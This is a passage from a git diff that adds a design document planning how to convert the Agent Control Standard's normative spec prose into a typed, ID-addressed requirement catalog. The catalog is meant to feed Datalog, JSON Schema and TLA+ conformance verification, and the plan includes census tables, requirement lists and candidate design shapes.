trade. The same review added risk row 10. diff --git a/docs/shaping/normative-ir-shaping.md b/docs/shaping/normative-ir-shaping.md new file mode 100644 index 00000000..f625d402 --- /dev/null +++ b/docs/shaping/normative-ir-shaping.md @@ -0,0 +1,907 @@ +--- +shaping: true +--- + +# ACS Normative IR — Shaping + +Sibling to [`acs-reference-impl-shaping.md`](./acs-reference-impl-shaping.md). Separate work stream, same repo (R8.1), and deliberately independent of the AGT bridge and host adapters (R8.2). + +## Frame (working) + +**Source (user, verbatim):** + +> separately from the reference implementation, I want you to start working on converting the normative spec to normative IR + +> For **ACS specifically**, I'd build a **Datalog-centered executable conformance verifier**, not a Lean-first implementation. +> +> The reason is that the ACS spec is fundamentally a **protocol plus trace semantics**. It contains requirements such as handshake-before-hook traffic, bounded `DEFER`, single-hop `ASK`, provenance lineage, replay protection, append-only/hash-linked session state, disposition-specific required fields, and ordering requirements like deterministic evaluation occurring before agent evaluation. + +> ### Don't force everything into Datalog +> +> | ACS requirement | Mechanism | +> | --- | --- | +> | JSON shape/types/enums/required fields | **JSON Schema 2020-12** | +> | Ordering, lineage, cross-event invariants | **Datalog / Soufflé** | +> | SHA-256, signatures, timestamps, URI parsing | **normal TypeScript/Rust/Python code** feeding facts | +> | Policy-engine-specific behavior | **adapter/test harness**, optionally Rego | + +> But I would **not make Rego the formal definition of ACS conformance**. ACS says custom policy engines are allowed, so tying the conformance definition to the reference policy engine creates an unnecessary conceptual coupling. + +> ### The most important part: create a normative IR +> +> The thing I'd invest in most isn't actually the language. It's turning every normative ACS statement into a structured requirement. That requirement catalog becomes the **formal bridge between human-readable ACS and executable ACS**. +> +> ```text +> Normative prose +> ↕ +> Requirement ID +> ↕ +> Formal predicate +> ↕ +> Executable verifier +> ↕ +> Conformance test +> ``` +> +> So when `ACS-0.2` changes a sentence, you can immediately know which rule and which conformance tests must change. + +> **TypeScript/Rust verifier shell + JSON Schema + Soufflé Datalog + TLA+ model.** Then optionally add **Lean later to prove the verifier's core semantics correct**. +> +> > **Datalog verifies ACS implementations.** +> > **TLA+ verifies the ACS protocol design.** +> > **Lean verifies that your verifier is mathematically faithful to a formal definition of ACS.** + +**Source — decisions on the four blocking questions (user, verbatim):** + +> I think you should add explicit requirement identifiers to ACS if the goal is a serious conformance/verifier ecosystem. Your instinct is aligned with established standards-testing practice, not an unusual formal-methods embellishment. +> +> W3C's older QA guidance is remarkably explicit here: testable assertions should be unambiguously identifiable, carry a unique assertion ID, and identify the specification location from which they come. +> +> The important nuance is that I would not make 200 visible `[ACS-REQ-017]` labels part of the reading experience. […] Put a stable machine-readable anchor immediately on each atomic normative requirement […] But tools and tests get a permanent address. +> +> Then maintain a generated requirements manifest rather than hand-maintaining duplicate prose […] Tests reference only `ACS-REQ-017`, not quoted English. + +> ### The subtle part: IDs don't solve semantic-change detection +> +> You're exactly right that quote matching is inadequate. But an ID alone doesn't quite solve this either. […] No machine can reliably determine whether that is purely editorial. +> +> So I would make the CI model conservative: normative text changed → `ACS-REQ-017` changed → all tests claiming `ACS-REQ-017` become "needs review". Not necessarily "invalid," but stale until reviewed. Then the reviewer can classify the change: editorial → tests remain valid; semantic → tests must be updated/re-reviewed; split/merge/new requirement → issue new requirement IDs. +> +> That gives you the exact dependency graph you want without pretending NLP can distinguish copy edits from semantic changes. + +> ### I would establish four identifier rules +> +> IDs are permanent and opaque. `ACS-REQ-017`, not `ACS-3.4.2-MUST-1`. Section numbers change. +> Never renumber or reuse IDs. If requirement 17 disappears, 017 stays retired. +> Editorial changes retain the ID. Tests get review-triggered but don't get new identities. +> Splits and genuinely new obligations get new IDs. + +> ### On doing this upstream +> +> For ACS specifically, I would not open a surprise PR containing ~200 marker insertions first. The project's current contribution guide explicitly says to get feedback before investing substantial effort, and says changes to the specification itself should go through a Discussion before the PR. […] I'd make the governance sequence: Discussion → tiny proof-of-concept PR → bulk mechanical PR. The Discussion would propose the mechanism, not debate all 200 IDs. + +> 2. do it in `/Users/arielfogel/Pillar/ACS_reference_implementation/` + +> I'd **include `concepts/provenance.md` and `concepts/intent.md` in the normative corpus, but not treat every sentence in them as a requirement**. That distinction solves the problem cleanly. […] I'd make the IR have at least these node types: Requirement, Definition, Invariant, Informative. […] Then a requirement can depend on definitions. +> +> This is especially important because **normative definitions can change conformance without adding or removing a single MUST**. […] So I would define: **Corpus membership is determined by normative status, not RFC 2119 grep. Requirement discovery is a separate operation.** +> +> I'd therefore produce two explicit outputs: 1. Normative source census […] 2. Normative provision census. + +> ## First pass: deep, but with a cheap wide census +> +> I would **not choose "all 203, no backend."** […] So it's **wide discovery, deep implementation**. If you force me to choose only one, choose **deep**. +> +> The biggest risk right now is not that you miss requirement #184. It's that you design an IR that looks plausible for 203 rows and then discover when implementing the verifier that it cannot faithfully express ACS. Soufflé is going to force questions that eyeballing won't. +> +> Don't do §1–§3 just because they come first. Pick perhaps 20 requirements intentionally spanning [18 semantic kinds]. […] That last group matters. It tests your **conformance semantics**, not merely your Datalog syntax. For instance `MAY archive entries...` should probably generate **no obligation merely because archival didn't occur**. Whereas "If archival occurs, it MUST preserve X, Y, Z" does produce an obligation conditional on an implementation choice. Your IR needs to represent that distinction. +> +> If you go wide first and discover at requirement 150 that your model of `subject`, `condition`, `modality`, `predicate` cannot express one of ACS's stateful semantics, you may have to reinterpret 149 entries. + +> One more thing I'd add: **definitions should get stable IDs too**, not just `MUST`s. That's the missing piece in your §7 / §8.4 problem. […] Then a changed provenance definition can invalidate precisely the formal rules and tests that depend on it, even if no RFC 2119 sentence changed. + +**Problem.** ACS v0.1.0's normative content is prose. There are ~203 RFC 2119 keyword occurrences across the corpus and **zero provision identifiers** — nothing to cite, nothing to test against, nothing to diff. Four consequences follow: + +1. **No conformance claim is checkable.** "ACS-Core conformant" is a sentence, not a measurement. `conformance.md` describes seven profiles in prose; nothing enumerates what each profile actually obliges, so nothing can report which obligations a deployment met. +2. **Spec edits are silent.** A sentence can change meaning in v0.2 with no signal to any implementer, test, or downstream verifier. +3. **Definition changes are invisible even to a keyword diff.** `specification.md` §7 and §8.4 delegate normative force to `concepts/provenance.md` and `concepts/intent.md`. Those two files carry 3 RFC 2119 keyword occurrences between them, so a change that alters what "provenance lineage" *means* — and therefore what §7's `MUST` obliges — produces no keyword delta at all. +4. **Defects hide in the prose.** Verified while surveying: `specification.md` **has no `## 9.` heading**. Three normative statements — "Approver authentication is REQUIRED", "Guardian MUST verify approver identity against policy", "Approvers MUST NOT return ASK" — sit orphaned inside §8.6 *Chain head publication*, while §6 and §8.4 both hyperlink to `§9.1`/`§9.2` as if §9 existed. Nobody caught it because nothing enumerates the provisions. + +**Outcome.** Every normative provision in ACS — obligation, definition, and invariant alike — carries a permanent opaque ID living in the prose itself, a declared node type, and (for testable obligations) a machine-readable predicate over one fact vocabulary. `acs verify ` emits a W3C-style conformance report with per-provision verdicts and evidence. A spec PR reports its own normative impact: which provisions changed, which rules and tests went stale, which new obligations have no test, and which normative statements were left unmarked. + +**Sequencing.** Wide mechanical census immediately; deep compiled vertical slice before the 203-item editorial conversion. The census is cheap and bounds the problem. The vertical slice is what discovers whether the IR can express ACS at all — and a compiler discovers that, where inspection does not. + +**Non-goals.** The full Soufflé rule set, the TLA+ model, the verifier shell, and Lean are *consumers* of the IR, shaped later. R6 exists to keep the IR from foreclosing them. + +--- + +## Verified ground + +Surveyed at ACS `c259f57` (v0.1.0, `version.txt` = `0.1.0`) — the pinned `spec/acs` submodule, tracking `Agent-Control-Standard/ACS`, mirrored at the user's fork `afogel/ACS_official`. + +### Normative corpus and its density + +| File | RFC 2119 keyword occurrences | +|---|---| +| `docs/spec/instrument/specification.md` | 111 | +| `docs/spec/instrument/hooks.md` | 27 | +| `docs/spec/conformance.md` | 22 | +| `docs/spec/trace/extend_opentelemetry.md` | 8 | +| `docs/spec/trace/events.md` | 7 | +| `docs/spec/inspect/README.md` | 7 | +| `docs/concepts/agents.md` | 6 | +| `docs/concepts/README.md` | 3 | +| `docs/topics/ACS_in_action_example.md` | 2 | +| `docs/spec/instrument/extend_mcp.md` | 2 | +| `docs/concepts/session-lifecycle.md` | 2 | +| `docs/concepts/intent.md` | 2 | +| `docs/spec/inspect/extend_cyclonedx.md` | 1 | +| `docs/concepts/trust.md` | 1 | +| `docs/concepts/identity.md` | 1 | +| `docs/acs.md` | 1 | +| **Total** | **203** | + +By keyword: `MUST` 70, `MAY` 44, `SHOULD` 34, `MUST NOT` 23, `OPTIONAL` 21, `RECOMMENDED` 7, `REQUIRED` 4. No `SHALL` / `SHALL NOT` / `SHOULD NOT` anywhere. + +`concepts/provenance.md` and `concepts/intent.md` are cited as *"(normative)"* from `specification.md` §7 and §8.4 while carrying 2 and 1 keyword occurrences. **Keyword count is not a proxy for normative weight**, which is why R1.1 makes corpus membership a declaration and provision discovery a separate operation. + +### What already exists, and must not be duplicated + +`specification/v0.1.0/` ships **48 JSON Schema files**: `request-envelope.json`, `response-envelope.json`, `handshake.json`, `provenance.json`, `provenance-summary.json`, `context-entry.json`, `ask-details.json`, `defer-details.json`, `modifications.json`, 26 under `hooks/` (including 6 strict `*.acs-provenance.json` variants), 2 under `agbom/`, `inspect/format-mapping.json`, and `trace/{otel,ocsf}-mapping.json`. + +The JSON-Schema layer of the four-layer architecture is **already built and shipped**. The IR cites it (R5), never restates it. + +### What has no identifier + +`grep -rE '\bACS-[A-Z]*-?[0-9]{2,4}\b' docs specification` → **0 matches**. No ID space, no numbering convention, no prior art to stay compatible with. The IR defines the space and carries the whole burden of choosing one that survives v0.2. + +### Structural facts that constrain the mechanism + +| # | Fact | Consequence | +|---|---|---| +| 1 | `specification.md` has **no `## 9.` heading**; §9.1 and §9.2 exist and are hyperlinked from §6 and §8.4, but §9's preamble sits under §8.6 | Section anchors are **not** a reliable key. A binding keyed on `#8…` would mis-attribute three provisions, one of which (`Approvers MUST NOT return ASK`) is a named security invariant. Confirms R2.1's "never a section number" | +| 2 | 🟡 **`attr_list` is enabled but disqualified** — measured in [X3](./spike-marker-span.md). Of its four paragraph forms, three render the braces as **visible page text**; only an own-line `{: #id }` creates an anchor, and it attaches to the whole block (`

` / ``) | Two independent disqualifications: block granularity cannot address §6.1's three-provision cell or §10.3's four-provision sentence, and a misplaced attribute list publishes `{ #acs-req-017 }` on the live site. Raw `` survived all 8 tested positions with no such failure mode. **This corrects the first pass, which claimed attr_list markers render as anchors** | +| 3 | Normative content lives in **tables and registries with no RFC 2119 keyword**: §6's *Required fields* column, §6.1's *Required* column, §7's *Required* column, §10.1's algorithm-registry status column, §17/§17.1's error-code registry, §7.2's channel-to-trust mapping, the `DEFER` reason enum, `timeout_decision` default `deny`, `skew_window_ms` RECOMMENDED default `300000` | A keyword-anchored census is **necessary but not sufficient**. Also: markers must work inside table cells (E2.3) | +| 4 | Conformance is **tiered** across 7 profiles, declared per-session in the handshake | A verdict without profile scope is meaningless. Profile is a first-class field | +| 5 | Many provisions are **conditional on negotiated session state** — `provenance_producer: deterministic`; populating the OPTIONAL `trust` enum; `on_decision_failure` posture; `scope_mode: strict` | Activation conditions are a first-class field. A flat MUST list would report false violations against conformant deployments | +| 6 | Provisions bind **at least six actors**: Observed Agent, Guardian, Approver, the *framework* (distinct from the agent — §1.2, §7, §8.4 all bind "the framework, not the LLM"), the deployment, and the verifier/auditor | Actor is first-class, and distinct from the party a violation is *reported against* | +| 7 | Some normative statements are **not observable from a trace**: §11 platform independence, §12.2 prompt-construction rules, §12.2 "MUST NOT have access to deterministic-layer policy code", §7.2 "MUST NOT instruct the LLM to produce it", §1.2 "The agent MUST NOT have knowledge of hooks" | Evidence class is first-class, and `non-testable` must be a legitimate reviewable value, not a dropped row | +| 8 | `conformance.md` states ACS-Core "does NOT assert that a deployment's policies are strict" and "A permissive Guardian is a conformant but permissive deployment, not a violation" | The IR must not conflate *policy strictness* with *protocol conformance*. The most impressive-sounding Datalog rules — untrusted data reaching a sensitive sink, information-flow violations — are policy questions ACS deliberately leaves open | +| 9 | `CONTRIBUTING.md` asks contributors to get feedback before investing substantial effort, and routes specification changes through a Discussion before a PR | The marker rollout is a governance sequence, not a single PR (R8.5) | +| 10 | The submodule is **pinned**, so the corpus cannot drift underneath the IR while markers are still unmerged upstream | Quote-matching — unsound as a steady state because it cannot distinguish a reword from a semantic change — is *sound as a staging mechanism*, because a pinned corpus has zero drift by construction. This is what makes E3 safe | +| 11 | 🟡 **`concepts/` already has a normative-callout convention.** Ten statements across six files use `> **Title (normative).** …` — `provenance.md` ×2, `intent.md` ×2, `agents.md` ×2, `trust.md` ×2, `session-lifecycle.md`, `identity.md` | The authors already separated normative from explanatory prose there, mechanically. Including `concepts/` does not mean hand-reading every sentence, so **D-g gets much cheaper**. It also settles `trust.md`: *"A Guardian MUST NOT treat an asserted fact as attested"* is unique normative force §7.1 does not restate | +| 12 | 🟡 **The same obligation is stated in two documents.** Approver authentication and "Approvers MUST NOT return ASK" appear in both `specification.md:257`/`:259` (the orphaned §9 preamble) and `concepts/agents.md:21`/`:23`. Intent immutability is *not* a duplicate — `intent.md:13` prohibits modification of the data, `specification.md:241` obliges the framework to ignore or reject *attempts* and adds a `SHOULD` on auditing | Cross-document restatement needs an explicit relation (R2.9). An IR can mechanically check that two statements of one obligation have not drifted apart — a defect class nothing currently catches. The intent case is independent evidence the Requirement/Definition split (R1.4) and `depends_on` (R3.7) carry weight | +| 13 | 🟡 **Zero keyword occurrences sit inside inline `` `code` `` spans**, and zero in headings or code fences. All 203 are in paragraphs (145), list items (33), table cells (17), and blockquotes (8) | No use-versus-mention ambiguity to resolve, and only four block types for the extractor to handle | +| 14 | 🟡 **ACS documents its own provision taxonomy and an altitude rule.** `concepts/README.md:11` — cross-cutting *invariants* live in `concepts/`, tagged `(normative)`; `:14` — *"hoist the invariant and leave the mechanics […] restated in two pillars […] is at the wrong altitude"*; `:31` — every page carries the canonical *definition*, its invariants, and a `Referenced by` footer. `specification.md:241` states the split from the pillar side: *"The invariant is defined in [Concepts › Intent] […] The framework MUST enforce it"* | The IR's Requirement/Definition/Invariant taxonomy is **discovered in the spec, not imposed on it** ([X5](./spike-provision-taxonomy.md)). Settles D-h: Invariants have at least six members | +| 15 | 🟡 **`concepts/README.md:33` is an authored precedence rule** — *"treat these pages as canonical where they disagree with a pillar's inline copy"* — accompanying a declared in-progress migration away from inline restatement | Gives R2.9's `restates` its direction without our having to choose one, and turns the agreement check into the migration worklist the note promises (R6.6) | +| 16 | 🟡 **Eight of nine concept pages carry a `Referenced by` footer** naming the pillar sections that consume the concept — `trust`, `provenance`, `intent`, `identity`, `capability`, `session-lifecycle`, `skill`, `agents` | R3.7's `depends_on` graph is **partly authored already**, in the reverse direction. Seed from the footers, then lint both ways: a footer with no provision depending back is a missing edge or a stale footer. This is the decisive argument against deferring Invariants | +| 17 | 🟡 **19 statements assert ACS requires nothing** in some area — §11 *"spec mandates none"*, §14 *"No isolation rules in v0.1"*, §10 *"defines no in-band key-exchange"*, §4.1 *"undefined in v0.1"*, `conformance.md:30` *"A permissive Guardian is a conformant but permissive deployment, not a violation"*, `identity.md:21` tagged `(normative)`, plus §15's 10-row Out of Scope table | Distinct from Informative (ignored by conformance) *and* from `non-testable` (required but unobservable). Produces the fifth node type `Exclusion` and R4.8 | + +### Provision families visible in the corpus + +Raw material for the fact vocabulary (E6), and the sanity test that it is sufficient. + +| Family | Examples from the corpus | +|---|---| +| **Temporal / ordering** | Handshake before any hook traffic (§4); `sessionStart` before any other `steps/*` for the `session_id` (§5); deterministic layer always runs before agent layer (§2); Intent fixed *before* untrusted data enters (§8.4); `agbom/snapshot` once per session before content-bearing hooks (`conformance.md`) | +| **Graph / lineage** | `derived_from` is an array of in-session `provenance_id`s (§7); `agent_generated` trust = min over `derived_from` (§7.1); `cited_provenance_ids` reference real provenance objects (§6.1); `max_lineage_depth` aggregation (§8.3) | +| **Hash-chain / crypto recomputation** | `entry_hash = SHA-256(JCS(entry minus entry_hash, previous_hash) ‖ raw(previous_hash))` (§8.2); `previous_hash` required on every entry but the first (§8.1); published `chain_hash` covered by the response signature (§8.6); JCS-canonical signed input with `signature` removed (§10); hybrid `len‖sig‖len‖sig` encoding (§10.2); `request_hash` for ACS-Audit (§8.1) | +| **Replay / freshness** | Reject `timestamp` outside `skew_window_ms` → `-32006` (§10.3); reject duplicate `request_id` in session → `-32005`; SHOULD reject duplicate `nonce` in a sliding window | +| **Disposition well-formedness** | Per-disposition required fields (§6); `DEFER` requires `resolution_method` + `resolution_timeout_ms` + `timeout_decision` (§6); `modifications` exclusivity — `modified_content` XOR {`redactions`,`parameter_overrides`} (§6.3); disjoint-target rule including ancestor/descendant (§6.3) | +| **Relational / role** | Approvers MUST NOT return `ASK` (§9, *orphaned*); single-hop only; Guardian MUST verify approver identity; Guardian MUST NOT return `ASK` to an approver-incapable client and MUST substitute `DEFER`+`timeout_decision: deny` or `DENY`+`reason_codes: ["approver_unavailable"]` (§9.2) | +| **Bounded resource** | Cascading deferrals MUST be bounded per session (§6); substituted `DEFER` still counts toward the cascade limit (§9.2) | +| **Enforcement / honoring** | Observed Agent MUST wait up to the negotiated timeout and MUST apply the verdict (§6.4); malformed `modifications` → MUST fail closed as DENY (§6.3); every fail-open proceed MUST be an audit event (§6.4, §4.1); a decision arriving in time MUST be honored regardless of posture (§6.4) | +| **Method-specific exemption** | `system/ping` MUST always return `allow`, MUST NOT enter the chain, MUST NOT require a signature, MUST NOT return an ACS-specific error (§13) | +| **Error registry** | Every mandated refusal maps to a fixed code (§17.1) — 8 codes with named raise conditions | +| **Negotiation** | Unknown fields MUST be ignored (§3, §4); `provenance_producer: none` + `policy_requires_provenance` → MUST refuse with `-32002` (§4); array input to a non-batching Guardian → MUST return `-32600` (§3) | +| **Permission without obligation** | Guardians MAY archive when SessionContext exceeds a threshold (§8.5) — *and if they do*, archival MUST preserve `chain_hash`, `provenance_summary`, `intent`. Batching MAY be accepted (§3). A Guardian MAY refuse a session lacking a required profile (`conformance.md`) | +| **Non-testable / design intent** | Platform independence (§11); prompt-construction rules (§12.2); "MUST NOT instruct the LLM to produce it" (§7.2); "The agent MUST NOT have knowledge of hooks" (§1.2) | + +--- + +## Requirements (R) + +| ID | Requirement | Status | +|----|-------------|--------| +| **R0** | 🟡 **Every normative provision in ACS — obligation, definition, and invariant — carries a permanent ID, a declared type, and (where testable) a machine-readable predicate, so a verifier can render a per-provision conformance verdict with evidence and a spec edit can name exactly what it invalidated** | Core goal | +| **R1** | 🟡 **Coverage is provable, and the corpus is declared rather than grepped** | Core goal | +| R1.1 | 🟡 Corpus membership is determined by declared normative status, not by RFC 2119 grep. Provision discovery is a separate operation from corpus definition | Must-have | +| R1.2 | 🟡 A **normative source census** declares every document and section that participates in conformance, its status, and what makes it normative (`referenced_by`) | Must-have | +| R1.3 | 🟡 A **normative provision census** reports, per source, counts by provision type plus every keyword occurrence left unbound, with a machine-readable reason | Must-have | +| R1.4 | 🟡 Provisions are **typed** — Requirement, Definition, Invariant, **Exclusion**, Informative — so an obligation is never invented where the authors wrote none. The first four are the altitudes `concepts/README.md` already declares ([X5](./spike-provision-taxonomy.md)) | Must-have | +| R1.5 | 🟡 Definitions and Invariants carry stable IDs, not only obligations | Must-have | +| R1.6 | Every RFC 2119 keyword occurrence in the corpus is bound to a provision ID or excluded with a machine-readable reason. No silent omissions | Must-have | +| R1.7 | Keyword-free normative statements are captured — required-field table columns, enum registries, default values, the error-code registry | Must-have | +| R1.8 | 🟡 One sentence may yield several provisions, each independently addressable — the marker must be placeable mid-paragraph, not only per block | Must-have | +| R1.9 | 🟡 Both censuses are reviewable by a spec editor who has never seen the IR | Must-have | +| **R2** | 🟡 **The prose↔IR binding survives spec edits, and change propagates as review rather than as breakage** | Core goal | +| R2.1 | 🟡 Each provision is addressed by a permanent, **opaque** ID carried in the prose itself — never a section number, never a structured path | Must-have | +| R2.2 | 🟡 IDs are never renumbered and never reused. A withdrawn provision is tombstoned, not deleted | Must-have | +| R2.3 | 🟡 An editorial reword keeps the ID; a split or a genuinely new obligation gets new IDs; a semantic replacement records `superseded_by` | Must-have | +| R2.4 | 🟡 Changed normative text marks dependent rules and tests **stale, pending review** — never silently invalid and never silently fine. A human classifies the change as editorial, semantic, or split | Must-have | +| R2.5 | 🟡 The mechanical half of the IR is **generated** from the marked prose (ID, type, source, level, text, text hash) and never hand-maintained as duplicate prose | Must-have | +| R2.6 | 🟡 A changed **Definition** marks its dependent Requirements stale even when no RFC 2119 sentence changed anywhere | Must-have | +| R2.7 | 🟡 Rules and tests cite provision IDs only, never quoted English | Must-have | +| R2.8 | A schema change propagates the same way — schema-delegating provisions pin the subschema they rely on | Must-have | +| R2.9 | 🟡 **When one obligation is stated in two documents, both are marked and the IR asserts they agree.** Drift between them is a lint failure, not a discovery made years later. **Direction is not ours to choose** — `concepts/README.md:33` declares the concept page canonical where it disagrees with a pillar's inline copy, so `restates` points from the pillar copy to the concept provision | Must-have | +| **R3** | **Predicates are executable, from a single authority** | Core goal | +| R3.1 | Every testable Requirement carries a machine-readable predicate, not restated prose | Must-have | +| R3.2 | Predicates are written over one declared fact vocabulary — named relations with declared arity and types — so provisions compose and share terms | Must-have | +| R3.3 | The IR predicate is the authority for at least one backend: the backend rule is generated from it, never merely cross-referenced by ID | Must-have | +| R3.4 | A violation names its subject and carries the facts that witness it, sufficient to explain the failure without re-running the verifier | Must-have | +| R3.5 | 🟡 Facts Datalog cannot compute — SHA-256, JCS canonicalization, signature verification, URI parsing, timestamp windows — enter as pre-computed facts from ordinary code, and that boundary is declared per provision rather than left implicit | Must-have | +| R3.6 | A provision the vocabulary cannot express is visibly flagged, never silently approximated by a weaker predicate | Must-have | +| R3.7 | 🟡 Requirements declare their dependency on Definitions and Invariants explicitly, so the traceability graph is machine-walkable in both directions | Must-have | +| R3.8 | 🟡 **Where the IR compiles to more than one backend, the backends are held equivalent by differential execution over shared fixtures, and divergence fails CI** — two engines are only safe when agreement is asserted rather than assumed ([X4](./spike-engine-dependency.md)) | Must-have | +| R3.9 | 🟡 Running the verifier on a laptop requires no build toolchain — every native artifact arrives prebuilt through the package manager, matching the posture the AGT SDK already establishes across five platforms | Must-have | +| **R4** | **Faithful to how ACS conformance actually works** | Must-have | +| R4.1 | Each provision declares its normative level (MUST, MUST NOT, SHOULD, MAY, RECOMMENDED, OPTIONAL, REQUIRED) | Must-have | +| R4.2 | Each declares the actor it binds — Observed Agent, Guardian, Approver, framework, deployment, verifier — distinctly from the party a violation is reported against | Must-have | +| R4.3 | Each declares which conformance profile activates it, so a verdict is scoped to what the session negotiated | Must-have | +| R4.4 | Each declares its evidence class — what observation could falsify it — with `non-testable` a legitimate, reviewable value rather than a dropped row | Must-have | +| R4.5 | Conditional provisions carry their activating condition (`provenance_producer: deterministic`, `trust` populated, `scope_mode: strict`, `on_decision_failure` posture) | Must-have | +| R4.6 | 🟡 **Permission is modelled distinctly from obligation.** A `MAY` that was not exercised generates no obligation and no violation; a `MAY` that *was* exercised can carry conditional obligations (§8.5 archival is the type case) | Must-have | +| R4.7 | Protocol conformance is never conflated with policy strictness — a permissive Guardian is conformant, and no predicate may report otherwise | Must-have | +| R4.8 | 🟡 **A deliberate non-requirement is represented distinctly from an untestable one.** The verifier never reports a violation in an area ACS leaves open, and the report distinguishes *"ACS says nothing here"* from *"we cannot observe this."* 19 corpus statements assert ACS requires nothing; R4.7 is one case of this class | Must-have | +| **R5** | **Reuses what the spec already ships** | Must-have | +| R5.1 | Shape, type, enum, and required-field provisions delegate to the 48 existing Draft 2020-12 schemas instead of restating them | Must-have | +| R5.2 | The delegation is precise — schema file plus JSON Pointer — so the IR cites a specific constraint, not a whole file | Must-have | +| R5.3 | No second copy of the wire contract exists anywhere in the IR | Must-have | +| **R6** | **Serves more than one consumer without foreclosing the others** | Must-have | +| R6.1 | Soufflé rule generation for the temporal, graph, and relational families | Must-have | +| R6.2 | The IR names which provisions are protocol invariants, so a TLA+ model checks a declared list rather than an ad-hoc one | Must-have | +| R6.3 | A test↔provision coverage report is derivable: which provisions have conformance tests, which do not | Must-have | +| R6.4 | A W3C-style human conformance report renders from the IR — provision, level, profile, verdict, evidence | Must-have | +| R6.5 | Nothing in the IR's structure forecloses a later Lean formalization of the same predicates | Leaning yes | +| R6.6 | 🟡 The cross-document agreement check emits the **migration worklist** `concepts/README.md:33` promises — which inline pillar copies still need replacing by a reference to the canonical concept page | Must-have | +| **R7** | **Usable by spec editors, not only by tooling** | Must-have | +| R7.1 | Adding or editing a provision does not require touching a compiler or code generator | Must-have | +| R7.2 | A provision change reads as a reviewable diff in a pull request | Must-have | +| R7.3 | 🟡 A spec PR reports its own **normative impact**: provisions changed and their now-stale tests, provisions added with no test, provisions removed without a tombstone, and normative statements left unmarked | Must-have | +| R7.4 | Editorial workflow is preserved — the IR does not take over authoring the spec's prose or conflict with `STYLE.md`'s voice | Must-have | +| R7.5 | 🟡 Markers are invisible in the rendered spec. A reader sees the sentence, not an identifier | Must-have | +| R7.6 | The catalog renders as a human-readable provision index alongside the spec | Leaning yes | +| **R8** | 🟡 **Lands in the right place, by the right process** | Must-have | +| R8.1 | 🟡 Home is `ACS_reference_implementation`, in its own top-level tree | **Decided** | +| R8.2 | 🟡 The IR tree depends on the pinned `spec/acs` submodule and on nothing else in this repo — no AGT bridge, no host adapters, no `mapping.yaml`. Verifiable by inspection | Must-have | +| R8.3 | Upstreamable to the ACS spec repo without carrying reference-implementation or AGT-specific choices | Must-have | +| R8.4 | 🟡 The reference implementation may consume the IR and become a verifier target; the IR never depends on it | Must-have | +| R8.5 | 🟡 Upstream marker adoption goes **Discussion → small proof-of-concept PR → bulk mechanical PR**. No surprise 200-marker PR | **Decided** | +| R8.6 | 🟡 The Discussion proposes the *mechanism*, demonstrated on ~5 provisions from different families showing prose ↕ ID ↕ rule ↕ tests — not 200 IDs to debate | Must-have | +| R8.7 | 🟡 Until markers land upstream, the IR works against the pinned submodule without requiring any upstream change to be merged first | Must-have | + +--- + +## Known tension + +**R2.4's staleness model resolves the tension that blocked shape selection.** The earlier framing wanted CI to *fail* on a changed sentence, which forces the tool to decide whether a reword was semantic — something it cannot do. Recasting the outcome as `needs-review` propagated across the dependency graph moves the judgment to the reviewer while keeping the graph exact. The tool answers "what is affected" (mechanical, and correct); the human answers "did the obligation change" (judgment, and unavoidable). + +**R2.6 is the requirement the earlier shaping missed entirely.** A changed Definition alters what an unchanged `MUST` obliges. Without typed provisions and `depends_on` edges, that change is invisible to every mechanism considered — keyword census, quote hash, and inline markers alike, because none of them is looking at the concept files. This is why R1.4/R1.5 exist and why the corpus includes `concepts/`. + +**R7.5 vs. R1.8 — resolved by the marker syntax, not by compromise.** Invisible markers and mid-paragraph addressability both hold only with raw `` anchors. `attr_list`'s `{ #id }` is invisible too but attaches to a block, so a paragraph carrying three obligations (§10.3 carries exactly three in one sentence) could address only one. Fact 2 records this. + +**R4.6 is a conformance-semantics requirement disguised as a modelling detail.** 44 of the 203 occurrences are `MAY` and 21 are `OPTIONAL` — nearly a third of the corpus. If the IR treats permission as a weak obligation, a third of the catalog generates false violations. §8.5 is the type case: *"Guardian Agents MAY archive entries […] Archival MUST preserve `chain_hash`, `provenance_summary`, and `intent`."* Non-archival is conformant; archival that drops `intent` is not. + +**R4.7 vs. the temptation of an impressive verifier.** The most compelling-sounding Datalog rules are *policy* questions ACS deliberately leaves to the deployment (Fact 8). A verifier reporting them as conformance violations measures the wrong thing and misrepresents the standard as stricter than it is. + +**R8.2 vs. R8.1 — same repo, no coupling.** The IR living beside the AGT bridge is a convenience of location, not of dependency. The existing shaping doc's R3.2/R3.3 already establish "verifiable by inspection" as this repo's idiom for a boundary that must not leak; R8.2 borrows it. + +--- + +## Shapes + +Shapes **A** (side-car catalog, quote binding), **B** (inline markers, catalog derived from prose), **C** (IR-first, prose generated), and **D** (inline anchors + side-car predicates) were explored in the first pass. All four failed the fit check, and the user's decisions resolve the open components. Retained as an audit trail; superseded by **E**. + +- **A** failed R2.2/R2.4 — quote binding cannot distinguish a reword from a semantic change, and cannot see an added obligation. **Recovered in E3 as a staging mechanism only**, where Fact 10 makes its weakness inapplicable. +- **B** failed R1.8, R2.5, R2.8, R3.4, R5.1, R5.2, R6.5, R7.4 — predicates embedded in prose have nowhere to put a shared vocabulary, a second atom from the same sentence, or a structured schema pointer. +- **C** failed R5.x, R7.1, R7.2, R7.4 — a community-governed spec with a prose `STYLE.md` cannot have its normative sections generated from YAML. **Closed explicitly.** +- **D** was the closest and is E's ancestor; it lacked typed provisions, definition dependencies, the staleness model, the two-census split, and any governance path. + +### E: Typed provisions, invisible anchors, generated manifest, staleness graph + +`E = D + provision taxonomy (E1) + definition dependencies (E1.3) + staleness propagation (E5.2) + two censuses (E8) + governance sequencing (E11)`, with A2's quote locator demoted to a staging role (E3). + +| Part | Mechanism | Flag | +|------|-----------|:----:| +| **E1** | **Provision taxonomy and identity** | | +| E1.1 | 🟡 Five node types: `Requirement` (`ACS-REQ-NNN`), `Definition` (`ACS-DEF-NNN`), `Invariant` (`ACS-INV-NNN`), `Exclusion` (`ACS-EXC-NNN`), and Informative (unmarked, ignored by conformance). The first three are the altitudes `concepts/README.md` already declares — Definitions and Invariants in `concepts/`, enforcement Requirements in the pillars | | +| E1.2 | Zero-padded opaque sequential numbers per type, allocated once from a monotonic counter file; tombstone records carry withdrawn IDs forward so the counter never rewinds | | +| E1.3 | 🟡 `depends_on` edges from Requirements to the Definitions and Invariants they rely on — **seeded from the eight `Referenced by` footers**, then authored and reviewed, since the edge is a judgment. Linted in both directions: a footer with no provision depending back is a missing edge or a stale footer | | +| E1.4 | 🟡 Node type is assigned by editorial judgment, not derived from marker syntax — X5 found the `(normative)` callouts are a mix of Invariants, Requirements, and one Exclusion. The 